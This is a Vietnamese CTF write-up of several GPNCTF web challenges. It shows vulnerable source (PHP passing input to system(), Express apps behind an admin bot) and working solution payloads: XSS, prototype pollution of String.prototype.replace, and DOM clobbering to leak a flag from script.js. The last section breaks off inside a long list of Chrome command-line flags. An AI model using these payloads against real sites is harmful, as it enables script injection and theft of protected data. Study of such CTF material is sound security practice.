Try   HackMD

Giải này hầu như là Client-Side, đặc biệt là XSS, source cũng khá ngắn khá tương tự nhau nên cũng không phải tìm hiểu nhiều về các thư viện, như các giải khác.

Tổng kết các chall với điểm và lượt solve:

image

Never gonna tell a lie and type you

Source:

<?php
       ini_set("display_errors",1);
       error_reporting(E_ALL);
//we tought about using passwords but you see everyone says they are insecure thus we came up with our own riddle.
function securePassword($user_secret){
    if ($user_secret < 10000){
        die("nope don't cheat");
    }
    $o = (integer) (substr(hexdec(md5(strval($user_secret))),0,7)*123981337);
    return $user_secret * $o ;
    
}
//this weird http parameter handling is old we use json 
$user_input = json_decode($_POST["data"]); 
//attention handling user data is dangerous
var_dump($user_input);

if ($_SERVER['HTTP_USER_AGENT'] != "friendlyHuman"){
    die("we don't tolerate toxicity");
}
    if($user_input->{'user'} === "admin🤠") {
        if ($user_input->{'password'} == securePassword($user_input->{'password'})  ){
            echo " hail admin what can I get you ". system($user_input->{"command"});
        }
        else {
            die("Skill issue? Maybe you just try  again?");
        }}
        else {
            echo "<html>";
            echo "<body>";
            echo "<h1>Welcome [to innovative Web Startup]</h1>";
            echo "<p> here we focus on the core values of each website. The backbone that carries the entire frontend</p><br><br>";
            echo "<blink>For this we only use old and trusty tools that are well documented and well tested</blink><br><br>";
            echo "<Big>That is not to say that we are not innovative, our authenticators are ahead of their time.</Big><br><br>";
           echo "<plaintext> to give you an teaser of our skills look at this example of commissioned work we build in a past project </plaintext>"; 
            
            echo system("fortune")."<br>";
        }
?>

Solution:

image

todo

Source

const express = require('express');
const puppeteer = require('puppeteer');

const randomBytes = require('crypto').randomBytes(32).toString('hex');

const fs = require('fs');

const flag = process.env.FLAG || fs.readFileSync('./flag', 'utf8');
const script = fs.readFileSync('./script.js', 'utf8');

const app = express();
app.use(express.urlencoded({ extended: true }));

app.get('/', (req, res) => {
    res.send(`
        <h1>TODO</h1>
        <form action="/chal" method="post">
            <input type="text" name="html" placeholder="HTML">
            <button type="submit">Submit to /chal</button>
        </form>
        <hr>
        <form action="/admin" method="post">
            <input type="text" name="html" placeholder="HTML">
            <button type="submit">Submit to /admin</button>
        </form>
    `);
});

app.post('/chal', (req, res) => {
    const { html } = req.body;
    res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' 'unsafe-inline';");
    res.send(`
        <script src="/script.js"></script>
        ${html}
    `);
});

app.get('/script.js', (req, res) => {
    res.type('.js');
    let response = script;
    if ((req.get("cookie") || "").includes(randomBytes)) response = response.replace(/GPNCTF\{.*\}/, flag)
    res.send(response);
});

app.post('/admin', async (req, res) => {
    try {
        const { html } = req.body;
        const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
        const page = await browser.newPage();
        page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
        await page.goto('http://localhost:1337/');
        await page.type('input[name="html"]', html);
        await page.click('button[type="submit"]');
        await new Promise(resolve => setTimeout(resolve, 2000));
        const screenshot = await page.screenshot({ encoding: 'base64' });
        await browser.close();
        res.send(`<img src="data:image/png;base64,${screenshot}" />`);
    } catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});

app.listen(1337, () => console.log('listening on http://localhost:1337'));

Bot sẽ nhập param html sau đó và POST đến /chal, sau đó capture screenshot lại. Mục tiêu là đưa nó vào /script.js chứa flag:

class FlagAPI {
    constructor() {
        throw new Error("Not implemented yet!")
    }

    static valueOf() {
        return new FlagAPI()
    }

    static toString() {
        return "<FlagAPI>"
    }

    // TODO: Make sure that this is secure before deploying
    // getFlag() {
    //     return "GPNCTF{FAKE_FLAG_ADMINBOT_WILL_REPLACE_ME}"
    // }
}

Payload:

<img src=0 onerror=location.href="/script.js">

Hoặc

<script defer>
    let a = Function.prototype.toString.apply(FlagAPI);
    document.write(a);
</script>

todo-hard

Khác bài trên ở chỗ:

image

flag đã bị replace:

image

Solution:

  • intended:
    Thay đổi output để tránh bị replace:
<script>
  FlagAPI.toString = Function.prototype.toString;
  document.write(FlagAPI.toString().split(""));
</script>

image

  • unintended:
    Prototype pollution:
<script>''.__proto__.replace = (a, b) => a</script>
<body></body><script>"".__proto__.replace = () => window.location="/script.js"  </script>

image

image

Dom clobbering (document.body):

<script>
    FlagAPI.toString = Object.toString;document.write(FlagAPI.toString())
</script>
<form name="body"></form>

image

So many flags

Source:

const express = require('express');
const { exec, spawn } = require('child_process');
const fs = require('fs');
const path = require('path');
const multer = require('multer');
const app = express();

const port = 1337;

const flags = fs.readFileSync('flags.txt', 'utf8')

app.use(express.urlencoded({ extended: true }));
app.use(express.json());

const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    cb(null, path.join(__dirname, 'uploads'));
  },
  filename: (req, file, cb) => {
    cb(null, Math.random().toString(36).substring(7) + '.html');
  }
});

const upload = multer({ storage });

app.get('/', (req, res) => {
  res.send(`
    <html>
      <body>
        <h1>Upload an HTML file</h1>
        <form action="/submit" method="post" enctype="multipart/form-data">
          <input type="file" name="htmlFile" accept=".html">
          <button type="submit">Submit</button>
        </form>
      </body>
    </html>
  `);
});

app.post('/submit', upload.single('htmlFile'), (req, res) => {

  console.log(req.file);
  const { filename, path: filePath } = req.file;

  if (!filename || !filePath) {
    return res.status(400).send('No file uploaded');
  }

  const userDir = '/tmp/chrome-user-data-dir-' + Math.random().toString(36).substring(7);
  // Don't even try to remove --headless, everything will break. If you want to try stuff, use --remote-debugging-port and disable all other remote debugging flags.
  const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;

  res.send('File uploaded and processed successfully. Launched Chrome:<br><br>' + command);

  const chromeProcess = exec(command, (error, stdout, stderr) => {
    if (error) {
      console.error(`Error executing command: ${error.message}\nStdout: ${stdout}`);
    } else {
      console.error(`Stderr: ${stderr}\nStdout: ${stdout}`);
    }
  });

  setTimeout(() => {
    // seems brutal but chrome does Weird Things™ when launched with Every Possible Flag™
    exec('killall -9 chrome', (error, stdout, stderr) => {});
    console.log('Chrome process aborted');
  }, 10_000);
});

app.listen(port, () => {
  console.log(`Server running on port ${port}`);
});

Bài này cho phép upload file html và truy cập vào nó bằng cli của chrome

const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;

Và dĩ nhiên có thể thực thi được JS.
Một số options chạy chrome được lưu trong flags.txt:

--0 --1 --10000 --100000 --1000000 --2 --3d-display-mode --4 --50000 --500000 --5000000 --7 --? --accept-empty-variations-seed-signature --accept-lang --accept-resource-provider --adaboost --add-gpu-appcontainer-caps --add-xr-appcontainer-caps --additional-private-state-token-key-commitments --aggressive-cache-discard --all --all-renderers --allarticles --allow-command-line-plugins --allow-cross-origin-auth-prompt --allow-empty-passwords-in-tests --allow-external-pages --allow-failed-policy-fetch-for-test --allow-file-access-from-files --allow-future-manifest-version --allow-http-background-page --allow-http-screen-capture --allow-insecure-localhost --allow-legacy-extension-manifests --allow-loopback-in-peer-connection --allow-nacl-crxfs-api --allow-nacl-file-handle-api --allow-nacl-socket-api --allow-os-install --allow-pre-commit-input --allow-profiles-outside-user-dir --allow-ra-in-dev-mode --allow-running-insecure-content --allow-sandbox-debugging --allow-silent-push --allow-third-party-modules --allowlisted-extension-id --almanac-api-url --alsa-amp-device-name --alsa-amp-element-name --alsa-check-close-timeout --alsa-enable-upsampling --alsa-fixed-output-sample-rate --alsa-input-device --alsa-mute-device-name --alsa-mute-element-name --alsa-output-avail-min --alsa-output-buffer-size --alsa-output-device --alsa-output-period-size --alsa-output-start-threshold --alsa-volume-device-name --alsa-volume-element-name --also-emit-success-logs --always-enable-hdcp --always-use-complex-text --alwaystrue --angle --animated-image-resume --animation-duration-scale --app --app-auto-launched --app-id --app-launch-url-for-shortcuts-menu-item --app-mode-auth-code --app-mode-oauth-token --app-mode-oem-manifest --app-run-on-os-login-mode --app-shell-allow-roaming --app-shell-host-window-size --app-shell-preferred-network --apple --apps-gallery-download-url --apps-gallery-update-url --apps-gallery-url --apps-keep-chrome-alive-in-tests --arc-availability --arc-available --arc-block-keymint --arc-data-cleanup-on-start --arc-disable-app-sync --arc-disable-dexopt-cache --arc-disable-download-provider --arc-disable-gms-core-cache --arc-disable-locale-sync --arc-disable-media-store-maintenance --arc-disable-play-auto-install --arc-disable-tts-cache --arc-disable-ureadahead --arc-erofs --arc-force-post-boot-dex-opt --arc-force-show-optin-ui --arc-generate-play-auto-install --arc-host-ureadahead-generation --arc-host-ureadahead-mode --arc-install-event-chrome-log-for-tests --arc-packages-cache-mode --arc-play-store-auto-update --arc-scale --arc-start-mode --arc-tos-host-for-tests --arc-use-dev-caches --arcvm-ureadahead-mode --arcvm-use-hugepages --as-browser --ash-allow-default-shelf-pin-layout-ignoring-sync --ash-bypass-glanceables-pref --ash-clear-fast-ink-buffer --ash-constrain-pointer-to-root --ash-contextual-nudges-interval --ash-contextual-nudges-reset-shown-count --ash-debug-shortcuts --ash-dev-shortcuts --ash-disable-touch-exploration-mode --ash-enable-magnifier-key-scroller --ash-enable-palette-on-all-displays --ash-enable-software-mirroring --ash-enable-unified-desktop --ash-hide-notifications-for-factory --ash-host-window-bounds --ash-no-nudges --ash-power-button-position --ash-side-volume-button-position --ash-touch-hud --attestation-server --attribution-reporting-debug-mode --audio --audio-buffer-size --audio-capturer-with-echo-cancellation --audio-codecs-from-edid --audio-output-channels --audio-output-sample-rate --audio-process-high-priority --aue-reached-for-update-required-test --aura-legacy-power-button --auth-server-allowlist --auth-spnego-account-type --auto --auto-accept-camera-and-microphone-capture --auto-accept-this-tab-capture --auto-grant-captured-surface-control-prompt --auto-open-devtools-for-tabs --auto-reject-this-tab-capture --auto-select-desktop-capture-source --auto-select-tab-capture-source-by-title --auto-select-window-capture-source-by-title --autofill-api-key --autofill-server-url --autofill-upload-throttling-period-in-days --autoplay-policy --back-gesture-horizontal-threshold --background-tracing-output-file --bgra --biod-fake --blink-settings --block-new-web-contents --bootstrap --borealis-launch-options --bottom-gesture-start-height --bound-session-cookie-rotation-delay --bound-session-cookie-rotation-result --browser --browser-data-backward-migration-for-user --browser-data-backward-migration-mode --browser-data-migration-for-user --browser-data-migration-mode --browser-subprocess-path --browser-test --browser-ui-tests-verify-pixels --bwsi --bypass-app-banner-engagement-checks --bypass-installable-message-throttle-for-testing --camera-effects-supported-by-hardware --canvas-2d-layers --cardboard --cast-app-background-color --cast-developer-certificate-path --cast-initial-screen-height --cast-initial-screen-width --cast-log-device-cert-chain --cast-mirroring-target-playout-delay --cast-mojo-broker-path --cast-streaming-force-disable-hardware-h264 --cast-streaming-force-disable-hardware-vp8 --cast-streaming-force-enable-hardware-h264 --cast-streaming-force-enable-hardware-vp8 --cc-layer-tree-test-long-timeout --cc-layer-tree-test-no-timeout --cc-scroll-animation-duration-in-seconds --cdm --cdm-data-directory --cdm-data-quota-bytes --cellular-first --change-stack-guard-on-fork --character --check-accessibility-permission --check-damage-early --check-for-update-interval --check-permission --check-screen-recording-permission --child-wallpaper-large --child-wallpaper-small --cipher-suite-blacklist --clamshell --class --clear-key-cdm-path-for-testing --clear-token-service --compensate-for-unstable-pinch-zoom --compile-shader-always-succeeds --component-updater --component-updater-trust-tokens-component-path --conditional-focus-window-ms --conservative --content-shell-devtools-tab-target --content-shell-hide-toolbar --content-shell-host-window-size --context-provider --controller --coral-feature-key --cors-exempt-headers --crash-dumps-dir --crash-loop-before --crash-on-failure --crash-on-hang-threads --crash-server-url --crashpad-handler --crashpad-handler-pid --create-browser-on-startup-for-tests --cros-disks-fake --cros-postlogin-data-fd --cros-postlogin-log-file --cros-region --cros-startup-data-fd --crosh-command --cryptauth-http-host --cryptauth-v2-devicesync-http-host --cryptauth-v2-enrollment-http-host --cryptohome-ignore-cleanup-ownership-for-testing --cryptohome-recovery-service-base-url --cryptohome-recovery-use-test-env --cryptohome-use-authsession --cryptohome-use-old-encryption-for-testing --custom-android-messages-domain --custom-devtools-frontend --custom_summary --d3d-support --d3d11 --d3d11-null --d3d11on12 --d3d9 --daemon --dark-mode-settings --data-path --data-quota-bytes --data-url-in-svg-use-enabled --dawn --dawn-d3d11 --dawn-d3d12 --dawn-metal --dawn-swiftshader --dawn-vulkan --dbus-stub --deadline-to-synchronize-surfaces --debug-devtools --debug-packed-apps --debug-print --default --default-country-code --default-tile-height --default-tile-width --default-trace-buffer-size-limit-in-kb --default-wallpaper-is-oem --default-wallpaper-large --default-wallpaper-small --defer-external-display-timeout --defer-feature-list --demo-mode-enrolling-username --demo-mode-force-arc-offline-provision --demo-mode-highlights-extension --demo-mode-screensaver-extension --demo-mode-swa-content-directory --deny-permission-prompts --derelict-detection-timeout --derelict-idle-timeout --desktop --desktop-window-1080p --deterministic-mode --dev --device-management-url --device-scale-factor --devtools-code-coverage --devtools-flags --diagnostics-format --diagnostics-recovery --direct-composition-video-swap-chain-format --direction --disable --disable-2d-canvas-clip-aa --disable-2d-canvas-image-chromium --disable-3d-apis --disable-accelerated-2d-canvas --disable-accelerated-mjpeg-decode --disable-accelerated-video-decode --disable-accelerated-video-encode --disable-adpf --disable-angle-features --disable-app-content-verification --disable-arc-cpu-restriction --disable-arc-data-wipe --disable-arc-opt-in-verification --disable-audio-input --disable-audio-output --disable-auto-maximize-for-tests --disable-auto-reload --disable-auto-wpt-origin-isolation --disable-ax-menu-list --disable-back-forward-cache --disable-background-media-suspend --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-backing-store-limit --disable-best-effort-tasks --disable-blink-features --disable-breakpad --disable-cancel-all-touches --disable-canvas-aa --disable-checker-imaging --disable-checking-optimization-guide-user-permissions --disable-chrome-tracing-computation --disable-component-extensions-with-background-pages --disable-component-update --disable-composited-antialiasing --disable-cookie-encryption --disable-crash-reporter --disable-databases --disable-dawn-features --disable-default-apps --disable-demo-mode --disable-dev-shm-usage --disable-device-disabling --disable-dinosaur-easter-egg --disable-disallow-lacros --disable-domain-blocking-for-3d-apis --disable-domain-reliability --disable-drive-fs-for-testing --disable-explicit-dma-fences --disable-extensions --disable-extensions-except --disable-extensions-file-access-check --disable-extensions-http-throttling --disable-features --disable-field-trial-config --disable-file-system --disable-fine-grained-time-zone-detection --disable-first-run-ui --disable-font-subpixel-positioning --disable-frame-rate-limit --disable-gaia-services --disable-gesture-requirement-for-presentation --disable-gl-drawing-for-tests --disable-gl-error-limit --disable-gl-extensions --disable-glsl-translator --disable-gpu --disable-gpu-compositing --disable-gpu-driver-bug-workarounds --disable-gpu-early-init --disable-gpu-memory-buffer-compositor-resources --disable-gpu-memory-buffer-video-frames --disable-gpu-process-crash-limit --disable-gpu-process-for-dx12-info-collection --disable-gpu-program-cache --disable-gpu-rasterization --disable-gpu-sandbox --disable-gpu-shader-disk-cache --disable-gpu-vsync --disable-gpu-watchdog --disable-hang-monitor --disable-headless-mode --disable-hid-blocklist --disable-hid-detection-on-oobe --disable-highres-timer --disable-histogram-customizer --disable-image-animation-resync --disable-in-process-stack-traces --disable-input-event-activation-protection --disable-ios-password-suggestions --disable-ipc-flooding-protection --disable-javascript-harmony-shipping --disable-kill-after-bad-ipc --disable-lacros-keep-alive --disable-layer-tree-host-memory-pressure --disable-lazy-loading --disable-lcd-text --disable-legacy-window --disable-libassistant-logfile --disable-local-storage --disable-logging --disable-logging-redirect --disable-login-animations --disable-login-lacros-opening --disable-login-screen-apps --disable-low-end-device-mode --disable-low-latency-dxva --disable-low-res-tiling --disable-machine-cert-request --disable-media-session-api --disable-metal-shader-cache --disable-mipmap-generation --disable-modal-animations --disable-model-download-verification --disable-mojo-renderer --disable-nacl --disable-namespace-sandbox --disable-new-base-url-inheritance-behavior --disable-new-content-rendering-timeout --disable-notifications --disable-nv12-dxgi-video --disable-oobe-chromevox-hint-timer-for-testing --disable-oobe-network-screen-skipping-for-testing --disable-oopr-debug-crash-dump --disable-origin-trial-controlled-blink-features --disable-overscroll-edge-effect --disable-partial-raster --disable-pdf-tagging --disable-pepper-3d --disable-per-user-timezone --disable-permissions-api --disable-pinch --disable-pnacl-crash-throttling --disable-policy-key-verification --disable-popup-blocking --disable-prefer-compositing-to-lcd-text --disable-presentation-api --disable-print-preview --disable-prompt-on-repost --disable-pull-to-refresh-effect --disable-pushstate-throttle --disable-reading-from-canvas --disable-remote-fonts --disable-remote-playback-api --disable-renderer-accessibility --disable-renderer-backgrounding --disable-resource-scheduler --disable-rgba-4444-textures --disable-rollback-option --disable-rtc-smoothness-algorithm --disable-screen-orientation-lock --disable-scroll-to-text-fragment --disable-search-engine-choice-screen --disable-seccomp-filter-sandbox --disable-setuid-sandbox --disable-shader-name-hashing --disable-shared-workers --disable-signin-frame-client-certs --disable-site-isolation-trials --disable-skia-graphite --disable-skia-runtime-opts --disable-smooth-scrolling --disable-software-rasterizer --disable-speech-api --disable-speech-synthesis-api --disable-stack-profiler --disable-third-party-keyboard-workaround --disable-threaded-animation --disable-threaded-compositing --disable-throttle-non-visible-cross-origin-iframes --disable-timeouts-for-profiling --disable-touch-drag-drop --disable-usb-keyboard-detect --disable-v8-idle-tasks --disable-variations-safe-mode --disable-variations-seed-fetch-throttling --disable-video-capture-use-gpu-memory-buffer --disable-virtual-keyboard --disable-volume-adjust-sound --disable-vsync-for-tests --disable-vulkan-fallback-to-gl-for-testing --disable-vulkan-for-tests --disable-vulkan-surface --disable-wayland-ime --disable-web-security --disable-webgl --disable-webgl-image-chromium --disable-webgl2 --disable-webrtc-encryption --disable-webrtc-hw-decoding --disable-webrtc-hw-encoding --disable-yuv-image-decoding --disable-zero-browsers-open-for-tests --disable-zero-copy --disable-zero-copy-dxgi-video --disabled --disallow-lacros --disallow-non-exact-resource-reuse --disallow-policy-block-dev-mode --discoverability --disk-cache-dir --disk-cache-size --display --display-properties --dmg-device --document-user-activation-required --dom-automation --double-buffer-compositing --draw-view-bounds-rects --drm-virtual-connector-is-external --dump-blink-runtime-call-stats --dump-browser-histograms --dumpstate-path --edge-touch-filtering --egl --elevate --embedded-extension-options --enable --enable-accelerated-2d-canvas --enable-adaptive-selection-handle-orientation --enable-aggressive-domstorage-flushing --enable-angle-features --enable-arc --enable-arcvm --enable-arcvm-rt-vcpu --enable-ash-debug-browser --enable-audio-debug-recordings-from-extension --enable-auto-reload --enable-automation --enable-background-thread-pool --enable-background-tracing --enable-begin-frame-control --enable-benchmarking --enable-ble-advertising-in-apps --enable-blink-features --enable-blink-test-features --enable-bookmark-undo --enable-caret-browsing --enable-cast-receiver --enable-cast-streaming-receiver --enable-chrome-browser-cloud-management --enable-cloud-print-proxy --enable-consumer-kiosk --enable-content-directories --enable-crash-reporter --enable-crash-reporter-for-testing --enable-crx-hash-check --enable-dawn-backend-validation --enable-dawn-features --enable-dim-shelf --enable-direct-composition-video-overlays --enable-discover-feed --enable-distillability-service --enable-dom-distiller --enable-domain-reliability --enable-distillability-service --enable-dom-distiller --enable-domain-reliability --enable-encryption-selection --enable-exclusive-audio --enable-experimental-accessibility-autoclick --enable-experimental-accessibility-labels-debugging --enable-experimental-accessibility-language-detection --enable-experimental-accessibility-language-detection-dynamic --enable-experimental-accessibility-manifest-v3 --enable-experimental-accessibility-switch-access-text --enable-experimental-cookie-features --enable-experimental-extension-apis --enable-experimental-web-platform-features --enable-experimental-webassembly-features --enable-extension-activity-log-testing --enable-extension-activity-logging --enable-extension-assets-sharing --enable-fake-no-alloc-direct-call-for-testing --enable-features --enable-finch-seed-delta-compression --enable-font-antialiasing --enable-gpu --enable-gpu-benchmarking --enable-gpu-blocked-time --enable-gpu-client-logging --enable-gpu-client-tracing --enable-gpu-debugging --enable-gpu-driver-debug-logging --enable-gpu-rasterization --enable-gpu-service-logging --enable-gpu-service-tracing --enable-hangout-services-extension-for-testing --enable-houdini64 --enable-idle-tracing --enable-input --enable-ios-handoff-to-other-devices --enable-isolated-web-apps-in-renderer --enable-lacros-fork-zygotes-at-login-screen --enable-lacros-shared-components-dir --enable-lcd-text --enable-leak-detection --enable-leak-detection-heap-snapshot --enable-legacy-background-tracing --enable-live-caption-pref-for-testing --enable-local-file-accesses --enable-logging --enable-longpress-drag-selection --enable-low-res-tiling --enable-magnifier-debug-draw-rect --enable-main-frame-before-activation --enable-nacl --enable-natural-scroll-default --enable-ndk-translation --enable-ndk-translation64 --enable-net-benchmarking --enable-network-information-downlink-max --enable-new-app-menu-icon --enable-ntp-search-engine-country-detection --enable-oobe-chromevox-hint-timer-for-dev-mode --enable-oobe-test-api --enable-optimization-guide-debug-logs --enable-page-content-annotations-logging --enable-pepper-testing --enable-pixel-output-in-tests --enable-plugin-placeholder-testing --enable-precise-memory-info --enable-prefer-compositing-to-lcd-text --enable-primary-node-access-for-vkms-testing --enable-privacy-sandbox-ads-apis --enable-profile-shortcut-manager --enable-promo-manager-fullscreen-promos --enable-protected-video-buffers --enable-raster-side-dark-mode-for-images --enable-requisition-edits --enable-resources-file-sharing --enable-rgba-4444-textures --enable-sandbox-logging --enable-scaling-clipped-images --enable-service-binary-launcher --enable-service-manager-tracing --enable-sgi-video-sync --enable-skia-benchmarking --enable-skia-graphite --enable-smooth-scrolling --enable-spatial-navigation --enable-speech-dispatcher --enable-spotlight-actions --enable-strict-mixed-content-checking --enable-strict-powerful-feature-restrictions --enable-swap-buffers-with-bounds --enable-tablet-form-factor --enable-third-party-keyboard-workaround --enable-threaded-texture-mailboxes --enable-top-drag-gesture --enable-touch-calibration-setting --enable-touch-drag-drop --enable-touchpad-three-finger-click --enable-touchview --enable-trace-app-source --enable-tracing --enable-tracing-format --enable-tracing-fraction --enable-tracing-output --enable-ui-devtools --enable-unsafe-webgpu --enable-upgrade-signin-promo --enable-usermedia-screen-capturing --enable-utempter --enable-viewport --enable-virtual-keyboard --enable-vtune-support --enable-vulkan-protected-memory --enable-wayland-ime --enable-web-auth-deprecated-mojo-testing-api --enable-webgl-developer-extensions --enable-webgl-draft-extensions --enable-webgl-image-chromium --enable-webrtc-srtp-encrypted-headers --enable-widevine --enable-zero-copy --enabled --encode-binary --encrypted-reporting-url --enforce --enforce-gl-minimums --enforce_strict --ensure-forced-color-profile --enterprise-enable-forced-re-enrollment --enterprise-enable-forced-re-enrollment-on-flex --enterprise-enable-initial-enrollment --enterprise-enable-unified-state-determination --enterprise-enrollment-initial-modulus --enterprise-enrollment-modulus-limit --enterprise-force-manual-enrollment-in-test-builds --eol-ignore-profile-creation-time --eol-reset-dismissed-prefs --evaluate_capability --explicitly-allowed-ports --export-uma-logs-to-file --expose-internals-for-testing --extension-apps-block-for-app-service-in-ash --extension-apps-run-in-ash-only --extension-content-verification --extension-force-channel --extension-install-event-chrome-log-for-tests --extension-process --extension-updater-test-request --extensions-install-verification --extensions-on-chrome-urls --extensions-run-in-ash-and-lacros --extensions-run-in-ash-only --external-metrics-collection-interval --extra-search-query-params --extra-web-apps-dir --fail-audio-stream-creation --fake-arc-recommended-apps-for-testing --fake-drivefs-launcher-chroot-path --fake-drivefs-launcher-socket-path --fake-variations-channel --false --feedback-server --field-trial-handle --file-storage-server-upload-url --file-url-path-alias --file_chooser --finch-seed-expiration-age --finch-seed-ignore-pending-download --finch-seed-min-download-period --finch-seed-min-update-period --fingerprint-sensor-location --first-exec-after-boot --flag-switches-begin --flag-switches-end --font-cache-shared-handle --font-render-hinting --force-app-mode --force-assistant-onboarding --force-browser-crash-on-gpu-crash --force-browser-data-migration-for-testing --force-caption-style --force-color-profile --force-cryptohome-recovery-for-testing --force-dark-mode --force-dev-mode-highlighting --force-device-ownership --force-device-scale-factor --force-devtools-available --force-disable-variation-ids --force-enable-metrics-reporting --force-enable-stylus-tools --force-fieldtrials --force-first-run --force-first-run-ui --force-gpu-mem-available-mb --force-gpu-mem-discardable-limit-mb --force-happiness-tracking-system --force-headless-for-tests --force-high-contrast --force-hwid-check-result-for-test --force-lacros-launch-at-login-screen-for-testing --force-launch-browser --force-login-manager-in-tests --force-max-texture-size --force-media-resolution-height --force-media-resolution-width --force-msbb-setting-on-for-ukm --force-online-connection-state-for-indicator --force-permission-policy-unload-default-enabled --force-pnacl-subzero --force-presentation-receiver-for-testing --force-protected-video-output-buffers --force-raster-color-profile --force-refresh-rate-throttle --force-renderer-accessibility --force-search-engine-choice-screen --force-separate-egl-display-for-webgl-testing --force-show-cursor --force-show-update-menu-badge --force-status-area-collapsible --force-tablet-power-button --force-text-direction --force-ui-direction --force-update-menu-type --force-update-remote-url --force-variation-ids --force-video-overlays --force-wave-audio --force-webgpu-compat --force-webxr-runtime --force-whats-new --forest-feature-key --form-factor --frame-throttle-fps --full-memory-crash-report --gaia-url --gamepad-polling-interval --gcm-mcs-endpoint --gcm-registration-url --generate-accessibility-test-expectations --generate-pdf-document-outline --get-access-token-for-test --gl --gl-egl --gl-null --gl-shader-interm-output --glanceables-key --gles --gles-null --google-api-key --google-apis-url --google-base-url --google-doodle-url --google-url --gpu --gpu-blocklist-test-group --gpu-device-id --gpu-disk-cache-size-kb --gpu-driver-bug-list-test-group --gpu-driver-version --gpu-launcher --gpu-no-context-lost --gpu-preferences --gpu-process --gpu-program-cache-size-kb --gpu-rasterization-msaa-sample-count --gpu-revision --gpu-sandbox-allow-sysv-shm --gpu-sandbox-failures-fatal --gpu-sandbox-start-early --gpu-startup-dialog --gpu-sub-system-id --gpu-vendor-id --gpu-watchdog-timeout-seconds --gpu2-startup-dialog --graphics-buffer-count --growth-campaigns-path --guest --guest-wallpaper-large --guest-wallpaper-small --gvr --hardware-video-decode-framerate --hardware_video_decoding --hardware_video_encoding --has-chromeos-keyboard --has-hps --has-internal-stylus --has-number-pad --hermes-fake --hidden-network-migration-age --hidden-network-migration-interval --hide-crash-restore-bubble --hide-icons --hide-scrollbars --highlight-all-webviews --highlight-non-lcd-text-layers --homedir --homepage --host --host-package-label --host-package-name --host-resolver-rules --host-version-code --icon_reader --ignore-arcvm-dev-conf --ignore-autocomplete-off-autofill --ignore-certificate-errors-spki-list --ignore-google-port-numbers --ignore-gpu-blocklist --ignore-unknown-auth-factors --ignore-urlfetcher-cert-requests --ignore-user-profile-mapping-for-tests --ime --in-process-broker --in-process-gpu --initial-preferences-file --initialize-client-hints-storage --install-autogenerated-theme --install-chrome-app --install-isolated-web-app-from-file --install-isolated-web-app-from-url --install-log-fast-upload-for-tests --instant-process --ip-address-space-overrides --ipc-dump-directory --ipc-fuzzer-testcase --isolate-origins --isolated-context-origins --isolation-by-default --js-flags --keep-alive-for-test --kiosk --kiosk-printing --kiosk-splash-screen-min-time-seconds --lacros-availability-ignore --lacros-chrome-additional-args --lacros-chrome-additional-args-file --lacros-chrome-additional-env --lacros-chrome-path --lacros-mojo-socket-for-testing --lacros-selection-policy-ignore --lang --last-launched-app --launch-rma --launch-time-ticks --layer --libassistant --list-apps --list-audio-devices --llvm-profile-file --load-extension --load-guest-mode-test-extension --load-signin-profile-test-extension --localhost --log-best-effort-tasks --log-file --log-gpu-control-list-decisions --log-level --log-missing-unload-ack --log-net-log --log-on-ui-double-background-blur --login-manager --login-profile --login-user --lso-url --ltr --make-chrome-default --managed-user-id --mangle-localized-strings --manual --market-url-for-testing --max-decoded-image-size-mb --max-gum-fps --max-untiled-layer-height --max-untiled-layer-width --max-web-media-player-count --mem-pressure-system-reserved-kb --memlog --memlog-sampling-rate --memlog-stack-mode --message-loop-type-ui --metal --metal-null --metrics-client-id --metrics-recording-only --metrics-shmem-handle --metrics-upload-interval --mf_cdm --min-height-for-gpu-raster-tile --min-video-decoder-output-buffer-size --minimal --mirroring --mixed --mixer-enable-dynamic-channel-count --mixer-service-endpoint --mixer-service-port --mixer-source-audio-ready-threshold-ms --mixer-source-input-queue-ms --mock --mock-cert-verifier-default-result-for-testing --model-quality-service-api-key --mojo-local-storage --mojo-pipe-token --monitoring-destination-id --mse-audio-buffer-size-limit-mb --mse-video-buffer-size-limit-mb --mute-audio --nacl-debug-mask --nacl-gdb --nacl-gdb-script --nacl-loader --native --native-messaging-connect-extension --native-messaging-connect-host --native-messaging-connect-id --native-with-thread-names --nearby-share-certificate-validity-period-hours --nearby-share-device-id --nearby-share-num-private-certificates --nearby-share-verbose-logging --nearbysharing-http-host --net-log-capture-mode --net-log-max-size-mb --netifs-to-ignore --network --network-quiet-timeout --no-appcompat-clear --no-default-browser-check --no-delay-for-dx12-vulkan-info-collection --no-experiments --no-first-run --no-mojo --no-network-profile-warning --no-pings --no-pre-read-main-dll --no-proxy-server --no-sandbox --no-service-autorun --no-system-proxy-config-service --no-unsandboxed-zygote --no-user-gesture-required --no-vr-runtime --no-xshm --no-zygote --no-zygote-sandbox --noerrdialogs --none --none_and_elevated --note-taking-app-ids --notification-inline-reply --notification-launch-id --null --num-raster-threads --nv12 --oauth-account-manager-url --oauth2-client-id --oauth2-client-secret --offer-in-settings --offscreen-document-testing --on-the-fly-mhtml-hash-computation --ondevice-validation-write-to-file --on_device_model_execution --oobe-eula-url-for-tests --oobe-force-tablet-first-run --oobe-large-screen-special-scaling --oobe-print-frontend-load-timings --oobe-screenshot-dir --oobe-show-accessibility-button-on-marketing-opt-in-for-testing --oobe-skip-postlogin --oobe-skip-to-login --oobe-timer-interval --oobe-timezone-override-for-tests --oobe-trigger-sync-timeout-for-tests --opengraph --openxr --optimization-guide-fetch-hints-override --optimization-guide-fetch-hints-override-timer --optimization-guide-model-execution-validate --optimization-guide-model-override --optimization-guide-model-validate --optimization-guide-ondevice-model-execution-override --optimization-guide-service-api-key --optimization-guide-service-get-hints-url --optimization-guide-service-get-models-url --optimization-guide-service-model-execution-url --optimization_guide_hints_override --orientation-sensors --origin-trial-disabled-features --origin-trial-disabled-tokens --origin-trial-public-key --output --override-enabled-cdm-interface-version --override-hardware-secure-codecs-for-testing --override-language-detection --override-metrics-upload-url --override-use-software-gl-for-tests --ozone-dump-file --ozone-override-screen-size --ozone-platform 